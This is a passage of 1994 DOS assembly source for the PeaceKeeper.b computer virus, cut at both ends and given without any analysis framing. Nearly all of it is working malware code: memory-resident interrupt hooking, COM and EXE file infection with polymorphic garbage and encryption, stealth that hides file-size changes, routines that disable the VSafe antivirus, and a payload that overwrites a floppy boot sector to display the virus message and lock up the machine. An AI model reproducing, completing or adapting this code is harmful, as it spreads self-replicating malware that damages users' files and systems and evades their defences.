init_rnd_num proc near ; Initialize 32-bit random number
push cx ; Save CX at stack
call init_rnd_nu_
db 10000011b,11100000b ; AND AX,0Fh (opcode 83h,0e0h,0fh)
db 00001111b
inc ax ; AX = random number within sixteen
xchg ax,cx ; CX = " " " "
calc_rnd_num:
call get_rnd_num
loop calc_rnd_num
pop cx ; Load CX from stack
ret ; Return
endp
init_rnd_nu_ proc near ; Initialize 32-bit random number
push dx cx ; Save registers at stack
mov ah,2ch ; Get system time
int 21h
in al,40h ; AL = 8-bit random number
mov ah,al ; AH = " " "
in al,40h ; AL = " " "
xor ax,cx ; AX = low-order word of 32-bit r...
xor dx,ax ; DX = high-order word of 32-bir ...
jmp sto_rnd_num
endp
get_rnd_num proc near ; Get 32-bit random number
push dx cx ; Save registers at stack
push bx ; Save BX at stack
random_num equ word ptr $+01h ; Low-order word of 32-bit random ...
mov ax,00h ; AX = low-order word of 32-bit ra...
random_num_ equ word ptr $+01h ; High-order word of 32-bit random...
mov dx,00h ; DX = high-order word of 32-bit r...
mov cx,07h ; Rotate 32-bit random number thro...
calc_rnd_nu_:
shl ax,01h ; Shift logical left low-order wor...
rcl dx,01h ; Rotate left high-order word of 3...
mov bl,al ; BL = low-order byte of low-order...
xor bl,dh ; Exclusive OR high-order byte of ...
jns dont_inc_rnd ; No sign? Jump to dont_inc_rnd
inc al ; Increase low-order byte of low-or...
dont_inc_rnd:
loop calc_rnd_nu_
pop bx ; Load BX from stack
sto_rnd_num:
mov word ptr cs:[random_num],ax
mov word ptr cs:[random_num_],dx
mov al,dl ; AL = low-order byte of high-orde...
pop cx dx ; Load registers from stack
ret ; Return
endp
virus_exit:
cmp [si+execute_stat-100h],00h
je vir_com_exit ; COM executable? Jump to vir_com_...
cmp [si+execute_stat-100h],01h
je vir_exe_exit ; EXE executable? Jump to vir_exe_...
eternal_loop:
jmp eternal_loop
vir_exe_exit:
mov ax,[si+program_seg-100h]
mov ds,ax ; DS = segment of Program Segment ...
mov es,ax ; ES = " " " " "
mov dx,ds ; DX = " " " " "
add dx,10h ; DX = segment of beginning of code
mov cx,dx ; CX = " " " " "
add dx,cs:[si+initial_ss-100h]
cli ; Clear interrupt-enable flag
mov ss,dx ; SS = initial SS relative to star...
mov sp,cs:[si+initial_sp-100h]
sti ; Set interrupt-enable flag
add cx,cs:[si+initial_cs-100h]
push cx ; Save initial SS relative to star...
push word ptr cs:[si+initial_ip-100h]
retf ; Return far
vir_com_exit:
mov cx,[si+poly_parts-100h]
lea si,[si+data_buffe-100h]
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
cld ; Clear direction flag
restore_loop:
push cx ; Save CX at stack
lodsw ; AX = length of original part
mov cx,ax ; CX = " " " "
lodsw ; AX = offset " " "
mov di,ax ; DI = " " " "
add di,100h ; Add offset of beginning of code ...
rep movsb ; Move original code to offset of ...
pop cx ; Load CX from stack
loop restore_loop
push cs ; Save CS at stack
mov ax,100h ; AX = offset of beginning of code
push ax ; Save AX at stack
retf ; Return far
error_:
stc ; Set carry flag
ret ; Return
no_error:
clc ; Clear carry flag
ret ; Return
tunneler proc near ; Tunneler of PeaceKeeper.b
mov ah,34h ; Get address of InDOS flag
int 21h
push es ; Save ES at stack
mov ax,[si+dos_version-100h]
sub ah,ah ; AX = major version number
sub bx,bx ; Zero BX
mov bx,03h ; BX = DOS version number
mov cx,04h ; Compare four times
find_dos_ver:
db 00111000b,11011000b ; CMP AL,BL (opcode 38h,0d8h)
je found_ver ; Equal? Jump to found_ver
inc bl ; Increase DOS version number
inc ah ; Increase DOS version counter
loop find_dos_ver
jmp error_
found_ver:
sub al,al ; Zero AL
xchg al,ah ; AL = DOS version counter
mov bx,04h ; Multiply by four
mul bx ; AX = DOS version counter multipl...
lea bx,[si+scan_strings-100h]
add bx,ax ; BX = offset within scan_strings
pop ax ; Load AX from stack (ES)
call find_kernel
endp
exam_kernel proc near ; Examine DOS kernel in High Memor...
cmp dx,[bx] ; DOS kernel?
jne not_kernel ; Not equal? Jump to not_kernel
mov dx,es:[si+02h] ; DX = two bytes of DOS data segment
cmp dx,[bx+02h] ; DOS kernel?
jne not_kernel ; Not equal? Jump to not_kernel
jmp error_
not_kernel:
jmp no_error
endp
find_kernel proc near ; Find DOS kernel in High Memory A...
mov di,si ; DI = delta offset
mov es,ax ; ES = segment of DOS data segment
mov si,100h ; SI = offset of DOS data segment
mov cx,1388h ; Search through five thousand bytes
find_kernel_:
mov dx,es:[si] ; DX = two bytes of DOS data segment
cmp dh,[bx] ; DOS kernel?
jne not_kernel_ ; Not equal? Jump to not_kernel_
call exam_kernel
jc found_kernel ; Found DOS kernel? Jump to found_...
not_kernel_:
inc si ; Increase offset of DOS data segment
loop find_kernel_
jmp error_
found_kernel:
mov word ptr [di+int21_addr-100h],si
mov word ptr [di+int21_addr-100h+02h],es
mov si,di ; SI = delta offset
jmp no_error
endp
nop
get_dos_ver:
mov ah,30h ; Get DOS version
int 21h
mov cs:[si+dos_version-100h],ax
mov cs:[si+program_seg-100h],ds
push cs ; Save CS at stack
pop ds ; Load DS from stack
mov bp,si ; BP = delta offset
mov ax,0deadh ; PeaceKeeper.b function
int 21h
cmp bx,ax ; Already resident?
jne test_dos_ver ; Not equal? Jump to test_dos_ver
jmp virus_exit
test_dos_ver:
mov ax,[si+dos_version-100h]
cmp al,03h ; DOS v 3.xx?
jge test_vsafe ; Greater or equal? Jump to test_v...
jmp virus_exit
test_vsafe:
mov ax,0fa00h ; PC tools v8+ vsafe, vwatch insta...
mov dx,5945h ; " " " " " "
int 16h
cmp di,4559h ; Installed?
jne get_int_vec ; Not equal? Jump to get_int_vec
mov ax,0fa01h ; PC tools v8+ vsafe, vwatch unins...
mov dx,5945h ; " " " " " "
int 16h
get_int_vec:
mov ax,3513h ; Get interrupt vector 13h
int 21h
mov word ptr [si+int13_addr-100h],bx
mov word ptr [si+int13_addr-100h+02h],es
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov word ptr [si+int21_addr_-100h],bx
mov word ptr [si+int21_addr-100h],bx
mov word ptr [si+int21_addr_-100h+02h],es
mov word ptr [si+int21_addr-100h+02h],es
call tunneler
mov ax,[si+dos_version-100h]
cmp al,04h ; DOS v 4.xx?
jl get_sys_date ; Less? Jump to get_sys_date
mov ax,6900h ; Get disk serial number
mov bl,03h ; Drive C:
lea dx,[si+data_buffer-100h]
int 21h
mov ah,[si+data_buffer+02h-100h]
mov [si+flags-100h],ah ; Store flags
jmp examine_mcb
get_sys_date:
mov ah,2ah ; Get system date
int 21h
mov [si+flags-100h],dh ; Store flags
examine_mcb:
mov bx,[si+program_seg-100h]
dec bx ; BX = segment of Memory Control B...
mov es,bx ; ES = " " " " "
sub bx,bx ; Zero BX
cmp byte ptr es:[bx],'Z'
je allocate_mem ; Equal? Jump to allocate_mem
jmp virus_exit
allocate_mem:
mov ax,(data_end-code_begin+0fh)/10h+84h
sub es:[bx+03h],ax ; Subtract size of virus in memory...
sub es:[bx+12h],ax ; " " " " " "
mov es,es:[bx+12h] ; ES = segment of allocated memory...
push si ; Save SI at stack
sub cx,cx ; Zero CX
sub di,di ; Zero DI
or di,offset code_begin
or cx,(code_end-code_begin)
rep movsb ; Move virus to top of memory
pop si ; Load SI from stack
mov ax,2521h ; Set interrupt vector 21h
push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)
db 10001101b,00010110b ; LEA DX,[imm16]
dw int21_virus ; Offset of int21_virus
int 21h
mov ax,2513h ; Set interrupt vector 13h
db 10001101b,00010110b ; LEA DX,[imm16]
dw int13_virus ; Offset of int13_virus
int 21h
pop ds
mov ax,0deaeh ; PeaceKeeper.b function
int 21h
jmp virus_exit
payload_ proc near ; Payload of PeaceKeeper.b
nop
call get_rnd_num
and ah,00000111b ; AH = random number within seven
and al,00000011b ; AL = random number within three
cmp ah,00000111b ; Activate payload?
je test_random ; Equal? Jump to test_random
jmp no_error
test_random:
cmp al,00000100b ; Activate payload?
je read_sector ; Equal? Jump to read_sector
jmp no_error
read_sector:
cld ; Clear direction flag
db 10001101b,00011110b ; LEA BX,[imm16]
dw data_buffe ; Offset of data_buffe
mov al,00h ; Drive A:
mov cx,01h ; Read one sector
sub dx,dx ; DX = starting logical sector
int 25h ; Absolute disk read
popf ; Load flags from stack
jnc no_error___ ; No error? Jump to no_error___
jmp error_
no_error___:
mov si,bx ; SI = offset of data_buffer
cmp byte ptr [si],11101011b
je found_jump ; JMP imm8? (opcode 0ebh)? Jump to...
jmp error_
found_jump:
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lodsb ; JMP imm8 (opcode 0ebh)
lodsb ; AL = 8-bit immediate
sub ah,ah ; Zero AH
add si,ax ; SI = offset within sector
mov di,si ; DI = offset within sector
db 10001101b,00110110b ; LEA SI,[imm16]
dw mbr ; Offset of mbr
mov cx,(mbr_end-mbr_begin)
rep movsb ; Move Master Boot Record of Peace...
sub dx,dx ; DX = starting logical sector
mov cx,01h ; Read one sector
xor al,al ; Drive A:
db 10001101b,00011110b ; LEA BX,[imm16]
dw data_buffe ; Offset of data_buffe
int 26h ; Absolute disk write
popf ; Load flags from stack
jnc no_error____ ; No error? Jump to no_error____
jmp error_
no_error____:
jmp no_error
endp
mbr_begin:
mbr proc near ; Master Boot Record of PeaceKeeper.b
call delta_offse
delta_offse:
pop bx ; Load BX from stack
sub bx,(delta_offse-mbr)
cli ; Clear interrupt-enable flag
cld ; Clear direction flag
xor ax,ax ; AX = segment of Master Boot Reco...
mov ss,ax ; SS = " " " " "
mov ds,ax ; DS = " " " " "
mov sp,7c00h ; SP = offset of Master Boot Recor...
sti ; Set interrupt-enable flag
mov ax,0b800h ; AX = segment of text video RAM
mov es,ax ; ES = " " " " "
sub di,di ; Zero DI
mov ax,1f20h ; AX = foreground- and backgroundc...
mov cx,7d0h ; Store four thousand bytes
store_colors:
stosw ; Store foreground- and background...
loop store_colors
sub di,di ; Zero DI
mov si,bx ; SI = delta offset
db 10000001b,11000110b ; ADD SI,imm16
dw (message-mbr) ; Offset of message
mov cx,(message_end-messag_begin)
store_messag:
lodsb ; AL = byte of message
stosb ; Store byte of message
inc di ; Increase index register
loop store_messag
mov cx,(message_end_-messag_begi_)
mov di,0a0h ; DI = offset witin text video RAM
store_messa_:
lodsb ; AL = byte of message_
stosb ; Store byte of message_
inc di ; Increase index register
loop store_messa_
eternal_loo:
jmp eternal_loo
endp
messag_begin:
message db 'Peace-Keeper Virus V2.10 '
message_end:
messag_begi_:
message_ db 'Written by Doctor Revenge 18-May-1994 , Italy'
message_end_:
mbr_end:
examine_name proc near ; Examine filename
mov si,[filename_off] ; SI = offset of filename
push [filename_seg] ; Save segment of filename at stack
pop ds ; Load DS from stack (segment of ...)
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea di,data_buffe ; DI = offset of data_buffe
mov cx,80h ; Examine one hundred and twenty-e...
upcase_char:
lodsb ; AL = byte of filename
cmp al,00h ; Found end of filename?
je examine_ext ; Equal? Jump to examine_ext
cmp al,'a' ; Upcase character?
jb dont_upcase ; Below? Jump to dont_upcase
cmp al,'z' ; Upcase character?
ja dont_upcase ; Above? Jump to dont_upcase
xor al,00100000b ; Upcase character
dont_upcase:
stosb ; Store byte of filename
loop upcase_char
examine_ext:
stosb ; Store zero
mov si,di ; SI = offset of end of filename
dec si ; SI = offset of last byte in file...
std ; Set direction flag
push cs cs ; Save segments at stack
pop es ds ; Load segments from stack
find_dot:
lodsb ; AL = byte of file extension
cmp al,'.' ; Dot?
jne find_dot ; Not equal? Jump to find_dot
cld ; Clear direction flag
inc si ; SI = offset of file extension
inc si ; " " " " " "
mov ax,si ; AX = " " " "
db 10001101b,00111110b ; LEA DI,[imm16]
dw exe_extensio ; Offset of exe_extensio
mov cx,03h ; Compare three bytes
rep cmpsb ; EXE extension?
jne examine_ext_ ; Not equal? Jump to examine_ext_
mov [execute_stat],01h ; EXE executable
jmp examine_nam_
examine_ext_:
db 10001101b,00111110b ; LEA DI,[imm16]
dw com_extensio ; Offset of com_extensio
mov si,ax ; SI = offset of file extension
mov cx,03h ; Compare three bytes
rep cmpsb ; COM extension?
je found_ext ; Equal? Jump to found_ext
jmp error_
found_ext:
mov [execute_stat],00h ; COM executable
examine_nam_:
std ; Set direction flag
mov cx,0fh ; Search through fifteen bytes
find_begin:
lodsb ; AL = byte of filename
cmp al,':' ; Found beginning of filename?
je compare_name ; Equal? Jump to compare_name
cmp al,'\' ; Found beginning of filename?
je compare_name ; Equal? Jump to compare_name
loop find_begin
jmp error_
compare_name:
inc si ; SI = offset of beginning of file...
inc si ; " " " " " " "
cld ; Clear direction flag
lodsw ; AX = first two bytes of filename
db 10001101b,00111110b ; LEA DI,[imm16]
dw name_table ; Offset of name_table
mov cx,(table_end_-table_begin_)/02h
repne scasw ; Found filename?
jne found_name ; Not equal? Jump to found_name
jmp error_
found_name:
jmp no_error
endp
open_file proc near ; Open file
push ds ; Save DS at stack
mov dx,[filename_off] ; DX = offset of filename
mov ds,[filename_seg] ; DS = segment of filename
mov ax,3d02h ; Open file (read/write)
call int21_simula
pop ds ; Load DS from stack
jnc no_error_ ; No error? Jump to no_error_
jmp error_
no_error_:
mov [file_handle],ax ; Store file handle
jmp no_error
endp
close_file proc near ; Close file
mov ah,3eh ; Close file
mov bx,[file_handle] ; BX = file handle
call int21_simula
jmp no_error
endp
sto_file_att proc near ; Get and set file attributes
push ds ; Save DS at stack
mov dx,[filename_off] ; DX = offset of filename
mov ds,[filename_seg] ; DS = segment of filename
mov ax,4300h ; Get file attributes
call int21_simula
mov cs:[file_attr],cx ; Store file attributes
xor cx,cx ; CX = new file attributes
mov ax,4301h ; Set file attributes
call int21_simula
pop ds ; Load DS from stack
jnc no_error__ ; No error? Jump to no_error__
jmp error_
no_error__:
jmp no_error
endp
get_file_inf proc near ; Get file's date and time
mov ax,5700h ; Get file's date and time
mov bx,[file_handle] ; BX = file handle
call int21_simula
mov [file_date],dx ; Store file date
mov [file_time],cx ; Store file time
jmp no_error
endp
set_file_inf proc near ; Set file's date and time
mov ax,5701h ; Set file's date and time
mov bx,[file_handle] ; BX = file handle
mov cx,[file_time] ; CX = file time
mov dx,[file_date] ; DX = file date
cmp [infect_stat],00h ; Don't infect file?
jne dont_infect ; Not equal? Jump to dont_infect
or cl,00011111b ; Set infection mark (60 seconds)
and cl,11111110b ; " " " " "
dont_infect:
call int21_simula
jmp no_error
endp
int24_store proc near ; Get and set interrupt vector 24h
push es ; Save ES at stack
sub ax,ax ; Zero AX
mov es,ax ; ES = segment of interrupt table
mov ax,es:[(24h*04h)] ; Set interrupt vector 24h
mov es:[(24h*04h)],offset int24_virus
mov word ptr [int24_addr],ax
mov ax,es:[(24h*04h+02h)]
mov es:[(24h*04h+02h)],cs
mov word ptr [int24_addr+02h],ax
pop es ; Save ES at stack
jmp no_error
endp
int24_load proc near ; Set interrupt vector 24h
push es ; Save ES at stack
sub bx,bx ; Zero BX
push bx ; Save BX at stack
pop es ; Load ES from stack
mov ax,word ptr [int24_addr]
mov es:[(24h*04h)],ax ; Set interrupt vector 24h
mov ax,word ptr [int24_addr+02h]
mov es:[(24h*04h+02h)],ax
pop es ; Load ES from stack
jmp no_error
endp
set_file_pos proc near ; Set current file position
push cx bx ; Save registers at stack
mov ah,42h ; Set current file position
sub cx,cx ; CX:DX = offset from origin of ne...
mov dx,cx ; " " " " " " "
mov bx,[file_handle] ; BX = file handle
call int21_simula
pop bx cx ; Load registers from stack
jmp no_error
endp
div_by_pages proc near ; Divide by pages
mov cx,200h ; Divide by pages
div cx ; DX:AX = filesize in pages
or dx,dx ; No bytes in last 512-bytes page ...
jz dont_inc_pag ; Zero? Jump to dont_inc_pag
inc ax ; Increase total number of 512-byt...
dont_inc_pag:
ret
endp
get_filesize proc near ; Get filesize
mov ax,word ptr [filesize]
mov dx,word ptr [filesize+02h]
ret ; Return
endp
infect_exe proc near ; Infect EXE file
mov [infect_stat],01h ; Infect file
mov al,00h ; Set current file position (SOF)
call set_file_pos
mov ah,3fh ; Read from file
mov bx,[file_handle] ; BX = file handle
mov cx,1ch ; Read twenty-eight bytes
db 10001101b,00010110b ; LEA DX,[imm16]
dw data_buffer ; Offset of data_buffer
call int21_simula
db 10001101b,00110110b ; LEA SI,[imm16]
dw data_buffer ; Offset of data_buffer
cmp word ptr [si],'ZM' ; Found EXE signature
je exam_header ; Equal? Jump to exam_header
jmp error_
exam_header:
cmp word ptr [si+12h],0deadh
jne exam_header_ ; Already infected? Jump to exam_h...
jmp error_
exam_header_:
cmp word ptr [si+18h],40h
jb test_overlay ; New executable? Jump to test_overlay
sub cx,cx ; CX = high-order word of offset f...
mov dx,3ch ; DX = offset of new executable he...
mov ax,4200h ; Set current file position (SOF)
mov bx,[file_handle] ; BX = file handle
call int21_simula
jnc read_header ; No error? Jump to read_header
jmp error_
read_header:
mov ah,3fh ; Read from file
mov cx,04h ; Read four bytes
db 10001101b,00010110b ; LEA DX,[imm16]
dw data_buffer_ ; Offset of data_buffer_
call int21_simula
jnc read_offset ; No error? Jump to read_offset
jmp error_
read_offset:
mov dx,word ptr [data_buffer_]
mov cx,word ptr [data_buffer_+02h]
mov ax,4200h ; Set current file position (SOF)
mov bx,[file_handle] ; BX = file handle
call int21_simula
jnc read_header_ ; No error? Jump to read_header_
jmp error_
read_header_:
mov ah,3fh ; Read from file
mov cx,04h ; Read four bytes
db 10001101b,00010110b ; LEA DX,[imm16]
dw data_buffer_ ; Offset of data_buffer_
call int21_simula
jnc exam_heade ; No error? Jump to exam_heade
jmp error_
exam_heade:
cmp [data_buffer_+01h],'E'
jne test_overlay ; New executable? Jump to test_ove...
jmp error_
test_overlay:
call get_filesize
call div_by_pages
cmp [si+04h],ax ; Internal overlay?
je test_overla ; Equal? Jump to test_overla
jmp error_
test_overla:
cmp [si+02h],dx ; Internal overlay?
je test_memory ; Equal? Jump to test_memory
jmp error_
test_memory:
cmp word ptr [si+0ch],00h
jne test_overla_ ; Not equal? Jump to test_overla_
jmp error_
test_overla_:
cmp word ptr [si+1ah],00h
je modify_head ; Main program? Jump to modify_head
jmp error_
modify_head:
call get_filesize
mov bx,10h ; Divide by paragraphs
div bx ; AX:DX = filesize in paragraphs
mov [delta_offse_],dx ; Store delta offset
sub ax,[si+08h] ; Subtract headersize in paragraph...
push word ptr [si+16h] ; Save initial CS relative to star...
pop [initial_cs] ; Load initial_cs (initial CS rel...)
mov [si+16h],ax ; Store initial CS relative to sta...
push word ptr [si+0eh] ; Save initial SS relative to star...
pop [initial_ss] ; Load initial_ss (initial SS rel...)
mov [si+0eh],ax ; Store initial SS relative to sta...
push word ptr [si+14h] ; Save initial IP at stack
pop [initial_ip] ; Load initial_ip (initial IP)
mov [si+14h],dx ; Store initial IP
push word ptr [si+10h] ; Save initial SP at stack
pop [initial_sp] ; Load initial_sp (initial SP)
mov word ptr [si+10h],2000h
call get_rnd_num
mov bl,[flags] ; BL = flags
lea di,data_buffe ; DI = offset of data_buffe
mov bp,[delta_offse_] ; BP = delta offset
push si ; Save SI at stack
call mcg_start
pop si ; Load SI from stack
call get_filesize
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
add ax,[dec_length] ; Add length of decryptor to size ...
adc dx,00h ; Convert to 32-bit
call div_by_pages
mov [si+04],ax ; Store total number of 512-byte p...
mov [si+02],dx ; Store number of bytes in last 51...
cmp word ptr [si+0ch],0ffffh
jne write_header ; Not equal? Jump to write_header
mov word ptr [si+0ch],0ffffh
write_header:
mov word ptr [si+12h],0deadh
mov al,00h ; Set current file position (SOF)
call set_file_pos
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
mov cx,1ch ; Read twenty-eight bytes
db 10001101b,00010110b ; LEA DX,[imm16]
dw data_buffer ; Offset of data_buffer
call int21_simula
mov [infect_stat],00h ; Don't infect file
jmp no_error
endp
infect_com proc near ; Infect COM file
mov [regs_assigned],00h ; Index and count register hasn't b..
mov ax,0bb8h ; Filesize too small?
cmp ax,word ptr [filesize]
jb prepare_infe ; Below? Jump to prepare_infe
jmp error_
prepare_infe:
mov al,00h ; Set current file position (SOF)
call set_file_pos
sub ax,ax ; Zero AX
mov [part_offse],ax ; Zero offset in file of current p...
mov [part_length],ax ; Zero length of polymorphic parts...
mov [part_offset],ax ; Zero offset in file of current p...
mov [part_offset_],offset data_buffe_
call get_rnd_num
sub ah,ah ; AL = 8-bit random number
and al,00000011b ; AL = random number within three
inc al ; " " " " " "
inc al ; " " " " " "
mov [poly_parts],ax ; Store number of polymorphic parts
mov cx,ax ; CX = number of polymorphic parts
gen_parts:
push cx ; Save CX at stack
call get_rnd_num
sub ah,ah ; AL = 8-bit random number
and al,00000111b ; AL = random number within seven
inc al ; " " " " " "
mov cx,ax ; CX = number of garbage instructions
lea di,data_buffe ; DI = offset of data_buffe
gen_garbage:
call some_garbage_
dec cx ; Decrease count register
jnz gen_garbage ; Not zero? Jump to gen_garbage
mov al,11101001b ; JMP imm16 (opcode 0e9h)
stosb ; Store JMP imm16 (opcode 0e9h)
push di ; Save DI at stack
lea bx,data_buffe ; BX = offset of data_buffe
sub di,bx ; DI = length of polymorphic part
inc di ; " " " " " "
inc di ; " " " " " "
add [part_offset],di ; Add length of polymorphic part t...
mov [part_length_],di ; Store length of current polymorp...
pop di ; Load DI from stack
pop cx ; Load CX from stack
cmp cx,01h ; Last polymorphic part?
push cx ; Save CX at stack
je gen_par_exit ; Equal? Jump to gen_par_exit
offset_error:
call get_rnd_num
xor ah,ah ; AL = 8-bit random number
and al,00111111b ; AL = random number within sixty-...
mov bx,20h ; Multiply by thirty-two
mul ax ; AX = offset in file of next poly...
mov dx,[part_offset] ; DX = offset in file of current p...
add dx,ax ; DX = offset im file of next poly...
cmp dx,word ptr [filesize]
ja offset_error ; Above? Jump to offset_error
stosw ; Store 16-bit immediate
add [part_offset],ax ; Add offset of in file of next po...
jmp lod_sto_part
gen_par_exit:
mov ax,word ptr [filesize]
sub ax,[part_offset] ; AX = 16-bit immediate
stosw ; Store 16-bit immediate
lod_sto_part:
call lod_sto_file
pop cx ; Load CX from stack
loop gen_parts
call get_rnd_num
mov bl,[flags] ; BL = flags
lea di,data_buffe ; DI = offset of data_buffe
mov bp,word ptr [filesize]
add bp,100h ; BP = delta offset
push si ; Save SI at stack
call mcg_start
pop si ; Load SI from stack
jmp no_error
endp
lod_sto_file proc near ; Read original part, write polymo...
mov ah,3fh ; Read from file
mov cx,[part_length_] ; CX = length of current polymorph...
mov si,[part_offset_] ; SI = offset in memory of current...
push [part_length_] ; Save length of current polymorph...
pop [si] ; Load " " " "
push [part_offse] ; Save offset in file of current p...
pop [si+02h] ; Load " " " " " "
mov dx,[part_offset_] ; DX = offset in memory of current...
add dx,04h ; " " " " " " "
mov bx,[file_handle] ; BX = file handle
call int21_simula
add [part_offset_],ax ; Add length of current polymorphi...
add [part_offset_],04h ; " " " " "
add [part_length],ax ; " " " " "
add [part_length],04h ; " " " " "
mov ax,4200h ; Set current file position (SOF)
sub cx,cx ; CX = high-order word of offset f...
mov dx,[part_offse] ; DX = offset in file of current p...
call int21_simula
mov ah,40h ; Write to file
mov cx,[part_length_] ; CX = length of current polymorph...
lea dx,data_buffe ; DX = offset of data_buffe
mov bx,[file_handle] ; BX = file handle
call int21_simula
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; CX = high-order word of offset f...
mov dx,[part_offset] ; DX = offset in file of current p...
mov bx,[file_handle] ; BX = file handle
call int21_simula
mov [part_offse],ax ; Store offset in file of current ...
jmp no_error
endp
mark_com proc near ; Set infection mark of COM file
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
mov cx,[part_length] ; CX = length of polymorphic parts...
add cx,02h ; Add length of infection mark to ...
lea si,data_buffe_ ; SI = offset of data_buffe_
add si,[part_length] ; SI = offset of end of data_buffe_
mov word ptr [si],0deadh
lea dx,data_buffe_ ; DX = offset of data_buffe_
call int21_simula
jmp no_error
endp
examine_com proc near ; Examine COM file
mov ax,4200h ; Set current file position (SOF)
sub cx,cx ; CX = high-order word of offset f...
mov dx,word ptr [filesize]
sub dx,02h ; DX = low-order word of offset fi...
mov bx,[file_handle] ; BX = file handle
call int21_simula
mov ah,3fh ; Read from file
mov cx,02h ; Read two bytes
db 10001101b,00010110b ; LEA DX,[imm16]
dw data_buffer ; Offset of data_buffer
call int21_simula
cmp word ptr [data_buffer],0deadh
je infected ; Equal? Jump to infected
jmp no_error
infected:
jmp error_
endp
infect_file proc near ; Infect COM/EXE file
mov al,02h ; Set current file position (EOF)
call set_file_pos
lea dx,data_buffe ; DX = offset of data_buffe
mov cx,[dec_length] ; CX = length of decryptor
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
call int21_simula
cmp [execute_stat],01h ; EXE executable?
je infect_exe_ ; Equal? Jump to infect_exe_
cmp [execute_stat],00h ; COM executable?
je infect_com_ ; Equal? Jump to infect_com_
eternal_loo_:
jmp eternal_loo_
infect_exe_:
call calc_virus
push dx ; Save DX at stack
mov cx,ax ; CX = number of paragraphs
lea si,code_begin ; SI = offset of code_begin
encrypt_loop:
push cx ; Save CX at stack
mov dx,[encrypt_key] ; DX = encryption/decryption key
mov cx,200h ; CX = number of bytes to encrypt
lea di,data_buffe ; DI = offset of data_buffe
call encrypt_body
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
call int21_simula
pop cx ; Load CX from stack
loop encrypt_loop
pop cx ; Load CX from stack (DX)
lea di,data_buffe ; DI = offset of data_buffe
mov dx,[encrypt_key] ; DX = encryption/decryption key
call encrypt_body
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
call int21_simula
jmp no_error
infect_com_:
call calc_virus
push dx ; Save DX at stack
mov cx,ax ; CX = number of paragraphs
lea si,code_begin ; SI = offset of code_begin
encrypt_loo:
push cx ; Save CX at stack
mov dx,[encrypt_key] ; DX = encryption/decryption key
mov cx,200h ; CX = number of bytes to encrypt
lea di,data_buffe_ ; DI = offset of data_buffe_
add di,[part_length] ; DI = offset of end of data_buffe_
call encrypt_body
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
call int21_simula
pop cx ; Load CX from stack
loop encrypt_loo
pop cx ; Load CX from stack (DX)
lea di,data_buffe_ ; DI = offset of data_buffe_
add di,[part_length] ; DI = offset of end of data_buffe_
mov dx,[encrypt_key] ; DX = encryption/decryption key
call encrypt_body
mov ah,40h ; Write to file
mov bx,[file_handle] ; BX = file handle
call int21_simula
jmp no_error
endp
calc_virus proc near ; Calculate size of virus in parag...
sub dx,dx ; Zero DX
mov bx,200h ; Divide by pages
mov ax,(code_end-code_begin)
div bx ; AX:DX = size of virus in paragraphs
ret ; Return
endp
save_regs proc near ; Save registers
mov cs:[ax_],ax ; Store accumulator register
mov cs:[bx_],bx ; Store base register
mov cs:[cx_],cx ; Store count register
mov cs:[dx_],dx ; Store data register
mov cs:[si_],si ; Store source index
mov cs:[di_],di ; Store destination index
mov cs:[bp_],bp ; Store base pointer
mov cs:[ds_],ds ; Store data segment
mov cs:[es_],es ; Store extra segment
nop
ret ; Return
endp
load_regs proc near ; Load registers
mov ax,cs:[ax_] ; AX = accumulator register
mov bx,cs:[bx_] ; BX = base register
mov cx,cs:[cx_] ; CX = count register
mov dx,cs:[dx_] ; DX = data register
mov si,cs:[si_] ; SI = source index
mov di,cs:[di_] ; DI = destination index
mov bp,cs:[bp_] ; BP = base pointer
mov ds,cs:[ds_] ; DS = data segment
mov es,cs:[es_] ; ES = extra segment
nop
ret ; Return
endp
int24_virus proc near ; Interrupt 24h of PeaceKeeper.b
mov al,03h ; AL = fail system call in progress
iret ; Interrupt return
endp
int21_virus proc near ; Interrupt 21h of PeaceKeeper.b
cmp ax,0deadh ; PeaceKeeper.b function?
jne determ_func ; Not equal? Jump to determ_func
mov bx,ax ; Already resident
iret ; Interrupt return
determ_func:
cmp ax,0deaeh ; PeaceKeeper.b function?
je init_rnd_nu ; Equal? Jump to init_rnd_nu
cmp ax,4b00h ; Load and execute program?
je load_and_exe ; Equal? Jump to load_and_exe
cmp ah,11h ; Find first matching file (FCB)?
je fcb_stealth ; Equal? Jump to fcb_stealth
cmp ah,12h ; Find next matching file (FCB)?
je fcb_stealth ; Equal? Jump to fcb_stealth
int21_exit:
jmp cs:[int21_addr_]
iret ; Interrupt return
endp
int21_simula proc near ; Simulate interrupt 21h
pushf ; Save flags at stack
call cs:[int21_addr]
ret ; Return
endp
init_rnd_nu:
call save_regs
call init_rnd_num
call load_regs
load_and_exe:
call save_regs
mov cs:[filename_off],dx
mov cs:[filename_seg],ds
push cs ; Save CS at stack
pop ds ; Load DS from stack
call int24_store
call infect_file_
call int24_load
call load_regs
jmp int21_exit
fcb_stealth:
pushf ; Save flags at stack
call int21_simula
popf ; Load flags from stack
test al,al ; Successfull?
jnz filesiz_exi_ ; Not zero? Jump to filesize_exi_
push ax bx dx si es ds ; Save registers at stack
mov ah,51h ; Get current PSP address
call int21_simula
mov es,bx ; ES = segment of PSP for current ...
cmp bx,es:[16h] ; Parent PSP equal to current PSP?
jne filesiz_exit ; Not equal? Jump to filesiz_exit
mov si,dx ; SI = offset of unopened FCB
mov ah,2fh ; Get Disk Transfer Area (DTA) add...
call int21_simula
lodsb ; AL = signature for extended FCB
sub si,si ; Zero SI
inc al ; Extended File Control Block (XFCB)?
jnz not_extended ; Not zero? Jump to not_extended
add bx,07h ; BX = offset of File Control Bloc...
not_extended:
mov ax,es:[bx+17h] ; AX = file time
db 10000011b,11100000b ; AND AX,1Fh (opcode 83h,0e0h,1fh)
db 00011111b
db 10000011b,11111000b ; CMP
AX,1Fh (opcode 83h,0f80h,1eh)
db 00011110b
